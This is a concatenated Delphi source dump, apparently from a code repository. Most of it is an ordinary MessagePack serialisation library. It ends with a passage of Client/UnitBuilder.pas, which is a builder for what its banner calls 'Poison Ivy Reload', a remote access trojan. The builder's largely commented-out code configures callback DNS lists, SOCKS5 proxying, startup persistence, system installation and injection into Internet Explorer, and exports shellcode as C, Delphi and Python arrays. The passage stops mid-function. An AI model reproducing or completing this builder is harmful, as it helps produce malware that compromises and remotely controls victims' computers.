lvFileStream := TFileStream.Create(pvFileName, fmOpenWrite)
else
lvFileStream := TFileStream.Create(pvFileName, fmCreate);
try
lvFileStream.Size := 0;
EncodeToStream(lvFileStream);
finally
lvFileStream.Free;
end;
end;
procedure TSimpleMsgPack.EncodeToStream(pvStream: TStream);
begin
InnerEncodeToStream(pvStream);
end;
function TSimpleMsgPack.findObj(pvName:string): TSimpleMsgPack;
var
i:Integer;
begin
i := indexOfCaseSensitive(pvName);
if i <> -1 then
begin
Result := TSimpleMsgPack(FChildren[i]);
end else
begin
Result := nil;
end;
end;
function TSimpleMsgPack.ForcePathObject(pvPath:string): TSimpleMsgPack;
var
lvName:string;
s:string;
sPtr:PChar;
lvTempObj, lvParent:TSimpleMsgPack;
j:Integer;
begin
Result := nil;
s := pvPath;
lvParent := Self;
sPtr := PChar(s);
while sPtr^ <> #0 do
begin
lvName := getFirst(sPtr, ['.', '/','\']);
if lvName = '' then
begin
Break;
end else
begin
if sPtr^ = #0 then
begin // end
j := lvParent.indexOf(lvName);
if j <> -1 then
begin
Result := TSimpleMsgPack(lvParent.FChildren[j]);
end else
begin
Result := lvParent.Add(lvName);
end;
end else
begin
// find childrean
lvTempObj := lvParent.findObj(lvName);
if lvTempObj = nil then
begin
lvParent := lvParent.Add(lvName);
end else
begin
lvParent := lvTempObj;
end;
end;
end;
if sPtr^ = #0 then Break;
Inc(sPtr);
end;
end;
procedure TSimpleMsgPack.ClearAndFreeAllChildren;
var
i:Integer;
begin
for i := 0 to FChildren.Count - 1 do
begin
TObject(FChildren[i]).Free;
end;
FChildren.Clear;
end;
function TSimpleMsgPack.GetAsBoolean: Boolean;
begin
if FDataType = mptBoolean then
Result := PBoolean(FValue)^
else if FDataType = mptString then
Result := StrToBoolDef(AsString, False)
else if FDataType = mptInteger then
Result := (AsInteger <> 0)
else if FDataType in [mptNull, mptUnknown] then
Result := False
else
Result := False;
end;
function TSimpleMsgPack.GetAsBytes: TBytes;
begin
Result := FValue;
end;
function TSimpleMsgPack.GetAsDateTime: TDateTime;
begin
if FDataType in [mptDateTime, mptFloat] then
Result := PDouble(FValue)^
else if FDataType = mptSingle then
Result := PSingle(FValue)^
else if FDataType = mptString then
begin
Result := StrToDateTimeDef(GetAsString, 0);
end
else if FDataType in [mptInteger] then
Result := AsInteger
else
Result := 0;
end;
function TSimpleMsgPack.GetAsFloat: Double;
begin
if FDataType in [mptFloat, mptDateTime] then
Result := PDouble(FValue)^
else if FDataType = mptSingle then
Result := PSingle(FValue)^
else if FDataType = mptBoolean then
Result := Integer(AsBoolean)
else if FDataType = mptString then
Result := StrToFloatDef(AsString, 0)
else if FDataType = mptInteger then
Result := AsInteger
else
Result := 0;
end;
function TSimpleMsgPack.getAsInteger: Int64;
begin
case FDataType of
mptInteger: Result:=PInt64(FValue)^;
else
Result := 0;
end;
end;
function TSimpleMsgPack.GetAsSingle: Single;
begin
if FDataType in [mptFloat, mptDateTime] then
Result := PDouble(FValue)^
else if FDataType = mptSingle then
Result := PSingle(FValue)^
else if FDataType = mptBoolean then
Result := Integer(AsBoolean)
else if FDataType = mptString then
Result := StrToFloatDef(AsString, 0)
else if FDataType = mptInteger then
Result := AsInteger
else
Result := 0;
end;
function TSimpleMsgPack.getAsString: String;
var
l:Cardinal;
begin
Result := '';
if FDataType = mptString then
begin
l := Length(FValue);
if l = 0 then
begin
Result := '';
end else if SizeOf(Char) = 2 then
begin
SetLength(Result, l shr 1);
Move(FValue[0],PChar(Result)^, l);
end else
begin
SetLength(Result, l);
Move(FValue[0],PChar(Result)^, l);
end;
end else
begin
case FDataType of
mptUnknown, mptNull:
Result := '';
mptInteger:
Result := IntToStr(AsInteger);
mptBoolean:
Result := BoolToStr(AsBoolean, True);
mptFloat:
Result := FloatToStrF(AsFloat, ffGeneral, 15, 0);
mptSingle:
Result := FloatToStrF(AsSingle, ffGeneral, 7, 0);
mptBinary:
Result := BinToHex(@FValue[0], Length(FValue), False);
mptDateTime:
Result := EncodeDateTime(AsDateTime);
// mptArray:
// Result := EncodeArray;
// mptMap:
// Result := EncodeMap;
// mptExtended:
// Result := EncodeExtended;
else
Result := '';
end;
end;
//showMessage(Result);
end;
///
/// copy from qdac3
///
function TSimpleMsgPack.GetAsVariant: Variant;
var
I: Integer;
procedure BytesAsVariant;
var
L: Integer;
p:PByte;
begin
L := Length(FValue);
Result := VarArrayCreate([0, L - 1], varByte);
p:=VarArrayLock(Result);
Move(FValue[0],p^,L);
VarArrayUnlock(Result);
end;
begin
case FDataType of
mptNull:
Result := null;
mptString:
Result := AsString;
mptInteger:
Result := AsInteger;
mptFloat:
Result := AsFloat;
mptSingle:
Result := AsSingle;
mptDateTime:
Result := AsDateTime;
mptBoolean:
Result := AsBoolean;
mptArray, mptMap:
begin
Result := VarArrayCreate([0, Count - 1], varVariant);
for I := 0 to Count - 1 do
Result[I] := TSimpleMsgPack(FChildren[I]).AsVariant;
end;
mptBinary:
BytesAsVariant;
else
raise Exception.Create(SVariantConvertNotSupport);
end;
end;
function TSimpleMsgPack.GetB(pvPath: String): Boolean;
var
lvObj:TSimpleMsgPack;
begin
lvObj := GetO(pvPath);
if lvObj = nil then
begin
Result := False;
end else
begin
Result := lvObj.AsBoolean;
end;
end;
function TSimpleMsgPack.GetCount: Integer;
begin
Result := FChildren.Count;
end;
function TSimpleMsgPack.GetD(pvPath: String): Double;
var
lvObj:TSimpleMsgPack;
begin
lvObj := GetO(pvPath);
if lvObj = nil then
begin
Result := 0;
end else
begin
Result := lvObj.AsFloat;
end;
end;
function TSimpleMsgPack.GetI(pvPath: String): Int64;
var
lvObj:TSimpleMsgPack;
begin
lvObj := GetO(pvPath);
if lvObj = nil then
begin
Result := 0;
end else
begin
Result := lvObj.AsInteger;
end;
end;
function TSimpleMsgPack.GetItems(AIndex: Integer): TSimpleMsgPack;
begin
Result := TSimpleMsgPack(FChildren[AIndex]);
end;
function TSimpleMsgPack.GetO(pvPath: String): TSimpleMsgPack;
var
lvParent:TSimpleMsgPack;
j:Integer;
begin
Result := InnerFindPathObject(pvPath, lvParent, j);
end;
function TSimpleMsgPack.GetS(pvPath: String): string;
var
lvObj:TSimpleMsgPack;
begin
lvObj := GetO(pvPath);
if lvObj = nil then
begin
Result := '';
end else
begin
Result := lvObj.AsString;
end;
end;
function TSimpleMsgPack.indexOf(pvName:string): Integer;
begin
Result := indexOfIgnoreSensitive(LowerCase(pvName));
end;
function TSimpleMsgPack.indexOfCaseSensitive(pvName:string): Integer;
var
i, l: Integer;
lvObj:TSimpleMsgPack;
begin
Result := -1;
l := Length(pvName);
if l = 0 then exit;
for i := 0 to FChildren.Count-1 do
begin
lvObj := TSimpleMsgPack(FChildren[i]);
if Length(lvObj.FName) = l then
begin
if lvObj.FName = pvName then
begin
Result := i;
break;
end;
end;
end;
end;
function TSimpleMsgPack.indexOfIgnoreSensitive(pvLowerCaseName: string):
Integer;
var
i, l: Integer;
lvObj:TSimpleMsgPack;
begin
Result := -1;
l := Length(pvLowerCaseName);
if l = 0 then exit;
for i := 0 to FChildren.Count-1 do
begin
lvObj := TSimpleMsgPack(FChildren[i]);
if Length(lvObj.FLowerName) = l then
begin
if lvObj.FLowerName = pvLowerCaseName then
begin
Result := i;
break;
end;
end;
end;
end;
function TSimpleMsgPack.InnerAdd(pvDataType: TMsgPackType): TSimpleMsgPack;
begin
Result := TSimpleMsgPack.Create;
Result.FDataType := mptUnknown;
InnerAddToChildren(pvDataType, Result);
end;
function TSimpleMsgPack.InnerAdd: TSimpleMsgPack;
begin
if self.FDataType in [mptMap, mptArray] then
begin
Result := TSimpleMsgPack.Create;
Result.FDataType := mptUnknown;
Result.FParent := self;
FChildren.Add(Result);
end else
begin
raise Exception.Create(SCannotAddChild);
end;
end;
procedure TSimpleMsgPack.InnerAddToChildren(pvDataType: TMsgPackType; obj:
TSimpleMsgPack);
begin
checkObjectDataType(pvDataType);
obj.FParent := self;
FChildren.Add(obj);
end;
procedure TSimpleMsgPack.InnerEncodeToStream(pvStream:TStream);
begin
case FDataType of
mptUnknown, mptNull: WriteNull(pvStream);
mptMap: writeMap(Self, pvStream);
mptArray: writeArray(Self, pvStream);
mptString: writeString(Self.getAsString, pvStream);
mptInteger: WriteInt(self.getAsInteger, pvStream);
mptBoolean: WriteBoolean(self.GetAsBoolean, pvStream);
mptDateTime, mptFloat: WriteFloat(GetAsFloat, pvStream);
mptSingle: WriteSingle(GetAsSingle, pvStream);
mptBinary: WriteBinary(PByte(@FValue[0]), Length(FValue), pvStream);
end;
end;
function TSimpleMsgPack.InnerFindPathObject(pvPath: string; var vParent:
TSimpleMsgPack; var vIndex: Integer): TSimpleMsgPack;
var
lvName:string;
s:string;
sPtr:PChar;
lvTempObj, lvParent:TSimpleMsgPack;
j:Integer;
begin
s := pvPath;
Result := nil;
lvParent := Self;
sPtr := PChar(s);
while sPtr^ <> #0 do
begin
lvName := getFirst(sPtr, ['.', '/','\']);
if lvName = '' then
begin
Break;
end else
begin
if sPtr^ = #0 then
begin // end
j := lvParent.indexOf(lvName);
if j <> -1 then
begin
Result := TSimpleMsgPack(lvParent.FChildren[j]);
vIndex := j;
vParent := lvParent;
end else
begin
Break;
end;
end else
begin
// find childrean
lvTempObj := lvParent.findObj(lvName);
if lvTempObj = nil then
begin
Break;
end else
begin
lvParent := lvTempObj;
end;
end;
end;
if sPtr^ = #0 then Break;
Inc(sPtr);
end;
end;
procedure TSimpleMsgPack.InnerParseFromStream(pvStream: TStream);
var
lvByte:Byte;
lvBData: array[0..15] of Byte;
lvSwapData: array[0..7] of Byte;
lvAnsiStr:{$IFDEF UNICODE}TBytes{$ELSE}AnsiString{$ENDIF};
l, i:Cardinal;
i64 :Int64;
lvObj:TSimpleMsgPack;
begin
pvStream.Read(lvByte, 1);
if lvByte in [$00 .. $7F] then //positive fixint 0xxxxxxx 0x00 - 0x7f
begin
// +--------+
// |0XXXXXXX|
// +--------+
setAsInteger(lvByte);
end else if lvByte in [$80 .. $8F] then //fixmap 1000xxxx 0x80 - 0x8f
begin
FDataType := mptMap;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := lvByte - $80;
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptMap);
// map key
lvObj.InnerParseFromStream(pvStream);
lvObj.setName(lvObj.getAsString);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end else if lvByte in [$90 .. $9F] then //fixarray 1001xxxx 0x90 - 0x9f
begin
FDataType := mptArray;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := lvByte - $90;
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptArray);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end else if lvByte in [$A0 .. $BF] then //fixstr 101xxxxx 0xa0 - 0xbf
begin
l := lvByte - $A0; // str len
if l > 0 then
begin
SetLength(lvAnsiStr, l);
pvStream.Read(PByte(lvAnsiStr)^, l);
setAsString(UTF8DecodeEx(lvAnsiStr, l));
// SetLength(lvBytes, l + 1);
// lvBytes[l] := 0;
// pvStream.Read(lvBytes[0], l);
// setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));
end else
begin
setAsString('');
end;
end else if lvByte in [$E0 .. $FF] then
begin
// negative fixnum stores 5-bit negative integer
// +--------+
// |111YYYYY|
// +--------+
setAsInteger(Shortint(lvByte));
end else
begin
case lvByte of
$C0: // null
begin
FDataType := mptNull;
SetLength(FValue, 0);
end;
$C1: // (never used)
raise Exception.Create('(never used) type $c1');
$C2: // False
begin
SetAsBoolean(False);
end;
$C3: // True
begin
SetAsBoolean(True);
end;
$C4: // 短二进制,最长255字节
begin
FDataType := mptBinary;
l := 0; // fill zero
pvStream.Read(l, 1);
SetLength(FValue, l);
pvStream.Read(FValue[0], l);
end;
$C5: // 二进制,16位,最长65535B
begin
FDataType := mptBinary;
l := 0; // fill zero
pvStream.Read(l, 2);
l := swap16(l);
SetLength(FValue, l);
pvStream.Read(FValue[0], l);
end;
$C6: // 二进制,32位,最长2^32-1
begin
FDataType := mptBinary;
l := 0; // fill zero
pvStream.Read(l, 4);
l := swap32(l);
SetLength(FValue, l);
pvStream.Read(FValue[0], l);
end;
$c7,$c8,$c9: //ext 8 11000111 0xc7, ext 16 11001000 0xc8, ext 32 11001001 0xc9
begin
raise Exception.Create('(ext8,ext16,ex32) type $c7,$c8,$c9');
end;
$CA: // float 32
begin
pvStream.Read(lvBData[0], 4);
swap32Ex(lvBData[0], lvSwapData[0]);
AsSingle := PSingle(@lvSwapData[0])^;
end;
$cb: // Float 64
begin
pvStream.Read(lvBData[0], 8);
// swap to int64, and lvBData is not valid double value (for IEEE)
i64 := swap64(lvBData[0]);
//
AsFloat := PDouble(@i64)^;
// AsFloat := swap(PDouble(@lvBData[0])^);
end;
$cc: // UInt8
begin
// uint 8 stores a 8-bit unsigned integer
// +--------+--------+
// | 0xcc |ZZZZZZZZ|
// +--------+--------+
l := 0;
pvStream.Read(l, 1);
setAsInteger(l);
end;
$cd:
begin
// uint 16 stores a 16-bit big-endian unsigned integer
// +--------+--------+--------+
// | 0xcd |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
l := 0;
pvStream.Read(l, 2);
l := swap16(l);
SetAsInteger(Word(l));
end;
$ce:
begin
// uint 32 stores a 32-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+
// | 0xce |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ
// +--------+--------+--------+--------+--------+
l := 0;
pvStream.Read(l, 4);
l := swap32(l);
setAsInteger(Cardinal(l));
end;
$cf:
begin
// uint 64 stores a 64-bit big-endian unsigned integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xcf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
i64 := 0;
pvStream.Read(i64, 8);
i64 := swap64(i64);
setAsInteger(i64);
end;
$dc: // array 16
begin
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdc |YYYYYYYY|YYYYYYYY| N objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
FDataType := mptArray;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := 0; // fill zero
pvStream.Read(l, 2);
l := swap16(l);
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptArray);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end;
$dd: // Array 32
begin
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdd |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
FDataType := mptArray;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := 0; // fill zero
pvStream.Read(l, 4);
l := swap32(l);
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptArray);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end;
$d9: //str 8 , 255
begin
// str 8 stores a byte array whose length is upto (2^8)-1 bytes:
// +--------+--------+========+
// | 0xd9 |YYYYYYYY| data |
// +--------+--------+========+
l := 0;
pvStream.Read(l, 1);
if l > 0 then // check is empty ele
begin
SetLength(lvAnsiStr, l);
pvStream.Read(PByte(lvAnsiStr)^, l);
setAsString(UTF8DecodeEx(lvAnsiStr, l));
end else
begin
setAsString('');
end;
// SetLength(lvBytes, l + 1);
// lvBytes[l] := 0;
// pvStream.Read(lvBytes[0], l);
// setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));
end;
$DE: // Object map 16
begin
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xde |YYYYYYYY|YYYYYYYY| N*2 objects |
// +--------+--------+--------+~~~~~~~~~~~~~~~~~+
FDataType := mptMap;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := 0; // fill zero
pvStream.Read(l, 2);
l := swap16(l);
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptMap);
// map key
lvObj.InnerParseFromStream(pvStream);
lvObj.setName(lvObj.getAsString);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end;
$DF: //Object map 32
begin
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
// | 0xdf |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ| N*2 objects |
// +--------+--------+--------+--------+--------+~~~~~~~~~~~~~~~~~+
FDataType := mptMap;
SetLength(FValue, 0);
ClearAndFreeAllChildren;
l := 0; // fill zero
pvStream.Read(l, 4);
l := swap32(l);
if l > 0 then // check is empty ele
begin
for I := 0 to l - 1 do
begin
lvObj := InnerAdd(mptMap);
// map key
lvObj.InnerParseFromStream(pvStream);
lvObj.setName(lvObj.getAsString);
// value
lvObj.InnerParseFromStream(pvStream);
end;
end;
end;
$da: // str 16
begin
// str 16 stores a byte array whose length is upto (2^16)-1 bytes:
// +--------+--------+--------+========+
// | 0xda |ZZZZZZZZ|ZZZZZZZZ| data |
// +--------+--------+--------+========+
l := 0; // fill zero
pvStream.Read(l, 2);
l := swap16(l);
if l > 0 then // check is empty ele
begin
SetLength(lvAnsiStr, l);
pvStream.Read(PByte(lvAnsiStr)^, l);
setAsString(UTF8DecodeEx(lvAnsiStr, l));
end else
begin
setAsString('');
end;
// SetLength(lvBytes, l + 1);
// lvBytes[l] := 0;
// pvStream.Read(lvBytes[0], l);
// setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));
end;
$db: // str 16
begin
// str 32 stores a byte array whose length is upto (2^32)-1 bytes:
// +--------+--------+--------+--------+--------+========+
// | 0xdb |AAAAAAAA|AAAAAAAA|AAAAAAAA|AAAAAAAA| data |
// +--------+--------+--------+--------+--------+========+
l := 0; // fill zero
pvStream.Read(l, 4);
l := swap32(l);
if l > 0 then // check is empty ele
begin
SetLength(lvAnsiStr, l);
pvStream.Read(PByte(lvAnsiStr)^, l);
setAsString(UTF8DecodeEx(lvAnsiStr, l));
end else
begin
setAsString('');
end;
// SetLength(lvBytes, l + 1);
// lvBytes[l] := 0;
// pvStream.Read(lvBytes[0], l);
// setAsString(UTF8Decode(PAnsiChar(@lvBytes[0])));
end;
$d0: //int 8
begin
// int 8 stores a 8-bit signed integer
// +--------+--------+
// | 0xd0 |ZZZZZZZZ|
// +--------+--------+
l := 0;
pvStream.Read(l, 1);
SetAsInteger(ShortInt(l));
end;
$d1:
begin
// int 16 stores a 16-bit big-endian signed integer
// +--------+--------+--------+
// | 0xd1 |ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+
l := 0;
pvStream.Read(l, 2);
l := swap16(l);
SetAsInteger(SmallInt(l));
end;
$d2:
begin
// int 32 stores a 32-bit big-endian signed integer
// +--------+--------+--------+--------+--------+
// | 0xd2 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+
l := 0;
pvStream.Read(l, 4);
l := swap32(l);
setAsInteger(Integer(l));
end;
$d3:
begin
// int 64 stores a 64-bit big-endian signed integer
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
// | 0xd3 |ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|ZZZZZZZZ|
// +--------+--------+--------+--------+--------+--------+--------+--------+--------+
i64 := 0;
pvStream.Read(i64, 8);
i64 := swap64(i64);
setAsInteger(Int64(i64));
end;
end;
end;
end;
procedure TSimpleMsgPack.LoadBinaryFromFile(pvFileName:String);
var
lvFileStream:TFileStream;
begin
if FileExists(pvFileName) then
begin
lvFileStream := TFileStream.Create(pvFileName, fmOpenRead);
try
LoadBinaryFromStream(lvFileStream);
finally
lvFileStream.Free;
end;
end;
end;
procedure TSimpleMsgPack.LoadBinaryFromStream(pvStream: TStream; pvLen:
cardinal = 0);
begin
FDataType := mptBinary;
if pvLen = 0 then
begin
pvStream.Position := 0;
SetLength(FValue, pvStream.Size);
pvStream.Read(FValue[0], pvStream.Size);
end else
begin
SetLength(FValue, pvLen);
pvStream.ReadBuffer(FValue[0], pvLen);
end;
end;
function TSimpleMsgPack.Remove(pvPath:string): TSimpleMsgPack;
var
lvParent:TSimpleMsgPack;
j:Integer;
begin
Result := InnerFindPathObject(pvPath, lvParent, j);
if Result<>nil then
begin
lvParent.FChildren.Delete(j);
end;
end;
function TSimpleMsgPack.Remove(pvIndex:Integer): TSimpleMsgPack;
begin
if (pvIndex < 0) or (pvIndex >= Count) then
begin
Result := nil;
end else
begin
Result := TSimpleMsgPack(FChildren[pvIndex]);
FChildren.Delete(pvIndex);
end;
end;
function TSimpleMsgPack.Remove(pvChild:TSimpleMsgPack): Boolean;
begin
Result := FChildren.Remove(pvChild) <> -1;
end;
procedure TSimpleMsgPack.RemoveFromParent;
begin
if FParent <> nil then
begin
FParent.FChildren.Remove(Self);
end;
end;
procedure TSimpleMsgPack.SaveBinaryToFile(pvFileName: String);
var
lvFileStream:TFileStream;
begin
if FileExists(pvFileName) then
begin
if not DeleteFile(PChar(pvFileName)) then
RaiseLastOSError;
end;
lvFileStream := TFileStream.Create(pvFileName, fmCreate);
try
lvFileStream.WriteBuffer(FValue[0], Length(FValue));
finally
lvFileStream.Free;
end;
end;
procedure TSimpleMsgPack.SaveBinaryToStream(pvStream: TStream);
begin
pvStream.WriteBuffer(FValue[0], Length(FValue));
end;
procedure TSimpleMsgPack.SetAsBoolean(const Value: Boolean);
begin
FDataType := mptBoolean;
SetLength(FValue, 1);
PBoolean(@FValue[0])^ := Value;
end;
procedure TSimpleMsgPack.SetAsBytes(const Value: TBytes);
begin
FDataType := mptBinary;
FValue := Value;
end;
procedure TSimpleMsgPack.SetAsDateTime(const Value: TDateTime);
begin
FDataType := mptDateTime;
SetLength(FValue, SizeOf(TDateTime));
PDouble(@FValue[0])^ := Value;
end;
procedure TSimpleMsgPack.SetAsFloat(const Value: Double);
begin
FDataType := mptFloat;
SetLength(FValue, SizeOf(Double));
PDouble(@FValue[0])^ := Value;
end;
procedure TSimpleMsgPack.setAsInteger(pvValue: Int64);
begin
FDataType := mptInteger;
SetLength(FValue, SizeOf(Int64));
PInt64(@FValue[0])^ := pvValue;
end;
procedure TSimpleMsgPack.SetAsSingle(const Value: Single);
begin
FDataType := mptSingle;
SetLength(FValue, SizeOf(Single));
PSingle(FValue)^ := Value;
end;
procedure TSimpleMsgPack.setAsString(pvValue: string);
begin
FDataType := mptString;
if SizeOf(Char) = 2 then
begin
SetLength(FValue, length(pvValue) shl 1);
Move(PChar(pvValue)^, FValue[0], Length(FValue));
end else
begin
SetLength(FValue, length(pvValue));
Move(PChar(pvValue)^, FValue[0], Length(FValue));
end;
end;
///
/// copy from qdac3
///
procedure TSimpleMsgPack.SetAsVariant(const Value: Variant);
var
I: Integer;
AType: TVarType;
procedure VarAsBytes;
var
L: Integer;
p: PByte;
begin
FDataType := mptBinary;
L := VarArrayHighBound(Value, 1) + 1;
SetLength(FValue, L);
p := VarArrayLock(Value);
Move(p^, FValue[0], L);
VarArrayUnlock(Value);
end;
begin
if VarIsArray(Value) then
begin
AType := VarType(Value);
if (AType and varTypeMask) = varByte then
VarAsBytes
else
begin
checkObjectDataType(mptArray);
ClearAndFreeAllChildren;
for I := VarArrayLowBound(Value, VarArrayDimCount(Value))
to VarArrayHighBound(Value, VarArrayDimCount(Value)) do
Add.AsVariant := Value[I];
end;
end
else
begin
case VarType(Value) of
varSmallInt, varInteger, varByte, varShortInt, varWord,
varLongWord, varInt64:
AsInteger := Value;
varSingle, varDouble, varCurrency:
AsFloat := Value;
varDate:
AsDateTime := Value;
varOleStr, varString{$IFDEF UNICODE}, varUString{$ENDIF}:
AsString := Value;
varBoolean:
AsBoolean := Value;
varNull,varEmpty,varUnknown:
begin
FDataType:=mptNull;
SetLength(FValue, 0);
end;
{$IF RtlVersion>=26}
varUInt64:
AsInteger := Value;
{$IFEND}
else
// null
;//raise Exception.Create(SVariantConvertNotSupport);
end;
end;
end;
procedure TSimpleMsgPack.SetB(pvPath: String; const Value: Boolean);
var
lvObj:TSimpleMsgPack;
begin
lvObj := ForcePathObject(pvPath);
lvObj.AsBoolean := Value;
end;
procedure TSimpleMsgPack.SetD(pvPath: String; const Value: Double);
var
lvObj:TSimpleMsgPack;
begin
lvObj := ForcePathObject(pvPath);
lvObj.AsFloat := Value;
end;
procedure TSimpleMsgPack.SetI(pvPath: String; const Value: Int64);
var
lvObj:TSimpleMsgPack;
begin
lvObj := ForcePathObject(pvPath);
lvObj.AsInteger := Value;
end;
procedure TSimpleMsgPack.setName(pvName: string);
begin
FName := pvName;
FLowerName := LowerCase(FName);
end;
procedure TSimpleMsgPack.SetO(pvPath: String; const Value: TSimpleMsgPack);
var
lvName:String;
s:String;
sPtr:PChar;
lvTempObj, lvParent:TSimpleMsgPack;
j:Integer;
begin
s := pvPath;
lvParent := Self;
sPtr := PChar(s);
while sPtr^ <> #0 do
begin
lvName := getFirst(sPtr, ['.', '/','\']);
if lvName = '' then
begin
Break;
end else
begin
if sPtr^ = #0 then
begin // end
j := lvParent.indexOf(lvName);
if j <> -1 then
begin
lvTempObj := TSimpleMsgPack(lvParent.FChildren[j]);
lvParent.FChildren[j] := Value;
lvTempObj.Free; // free old
end else
begin
Value.setName(lvName);
lvParent.InnerAddToChildren(mptMap, Value);
end;
end else
begin
// find childrean
lvTempObj := lvParent.findObj(lvName);
if lvTempObj = nil then
begin
lvParent := lvParent.Add(lvName);
end else
begin
lvParent := lvTempObj;
end;
end;
end;
if sPtr^ = #0 then Break;
Inc(sPtr);
end;
end;
procedure TSimpleMsgPack.SetS(pvPath: String; const Value: string);
var
lvObj:TSimpleMsgPack;
begin
lvObj := ForcePathObject(pvPath);
lvObj.AsString := Value;
end;
end.
================================================
FILE: Client/UnitBuilder.pas
================================================
unit UnitBuilder;
interface
uses
Winapi.Windows, System.Classes, System.SysUtils;
{
type
TBuilder = class
private
FShellData, FShellCode: TMemoryStream;
private
procedure WriteOffset(w: Word);
procedure WriteAnsiString(s: AnsiString);
procedure WriteWideString(s: WideString);
procedure WriteWord(w: Word);
procedure WriteByte(b: Byte);
procedure WriteBoolean(b: Boolean);
public
constructor Create(); overload;
destructor Destroy(); overload;
public
procedure WriteDNSList(s: string);
procedure WriteID(s: AnsiString);
procedure WritePassword(s: AnsiString);
procedure WriteSocks5(dns, username, password: AnsiString; port: Word);
procedure WriteStartUp(isAcitvex: Boolean; s: string);
procedure WriteInstallation(copy_to_system: Boolean; filename: string);
procedure WriteMutex(s: AnsiString);
procedure WriteInject(inject_to_ie: Boolean; filename: string);
procedure WriteConfigEnd();
function SaveToBinary(filename: string): Boolean;
function SaveToCArray(filename: string): Boolean;
function SaveToDelphiArray(filename: string): Boolean;
function SaveToPythonArray(filename: string): Boolean;
end;
}
implementation
uses
UnitShellCodes;
{ TBuilder }
//constructor TBuilder.Create();
//begin
// FShellData := TMemoryStream.Create;
// FShellCode := TMemoryStream.Create;
// // дshellcode
// FShellData.Write(PAnsiChar(get_loader_main_ptr())^, get_loader_main_size());
//end;
//
//destructor TBuilder.Destroy;
//begin
// FreeAndNil(FShellData);
// FreeAndNil(FShellCode);
//end;
//
//function TBuilder.SaveToBinary(filename: string): Boolean;
//var
// fs: TFileStream;
//begin
// Result := True;
// if FShellCode.Size <> 0 then
// FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);
//
// fs := TFileStream.Create(filename, fmCreate);
// try
// fs.Write(PAnsiChar(FShellData.Memory)^, FShellData.Size);
// except
// Result := False;
// end;
// FreeAndNil(fs);
//end;
//
//function TBuilder.SaveToCArray(filename: string): Boolean;
//var
// temp: string;
// ss: TStringStream;
// i: Integer;
//begin
// Result := True;
// if FShellCode.Size <> 0 then
// FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);
//
// ss := TStringStream.Create();
// try
// temp := Format(
// '// Generated by Poison Ivy Reload 0.0.1' + #13#10 +
// '// http://www.github.com' + #13#10 +
// '// Length: 0x%.8x (bytes)' + #13#10 +
// 'unsigned char PIshellcode[%d] = ' + #13#10 +
// '{' + #13#10#09,
// [FShellData.Size, FShellData.Size]);
// ss.WriteString(temp);
//
// for i := 1 to FShellData.Size do
// begin
//
// if i = FShellData.Size then
// begin
// temp := Format('0x%.2x', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// temp := temp + #13#10 + '};';
// end else
// begin
// temp := Format('0x%.2x, ', [DWORD(PAnsiChar(Integer(FShellData.Memory) + i - 1)^)]);
// if (i mod 16) = 0 then
// temp := temp + #13#10#09;
// end;
//
// ss.WriteString(temp);
// end;
//
// ss.SaveToFile(filename);
// except
// on e: Exception do
// begin
// MessageBox(0, PChar(e.Message), 0, 0);
// Result := False;
// end
// end;
// FreeAndNil(ss);
//end;
//
//function TBuilder.SaveToDelphiArray(filename: string): Boolean;
//var
// temp: string;
// ss: TStringStream;
// i: Integer;
//begin
// Result := True;
// if FShellCode.Size <> 0 then
// FShellData.Write(PAnsiChar(FShellCode.Memory)^, FShellCode.Size);
//
// ss := TStringStream.Create();
// try
// temp := Format(
// '// Generated by Poison Ivy Reload 0.0.1' + #13#10 +
// '// http://www.github.com' + #13#10 +
// '// Length: 0x%.8x (bytes)' + #13#10 +
// 'PIshellcode: array[0..%d] of byte = ' + #13#10 +
// '(' + #13#10#09,
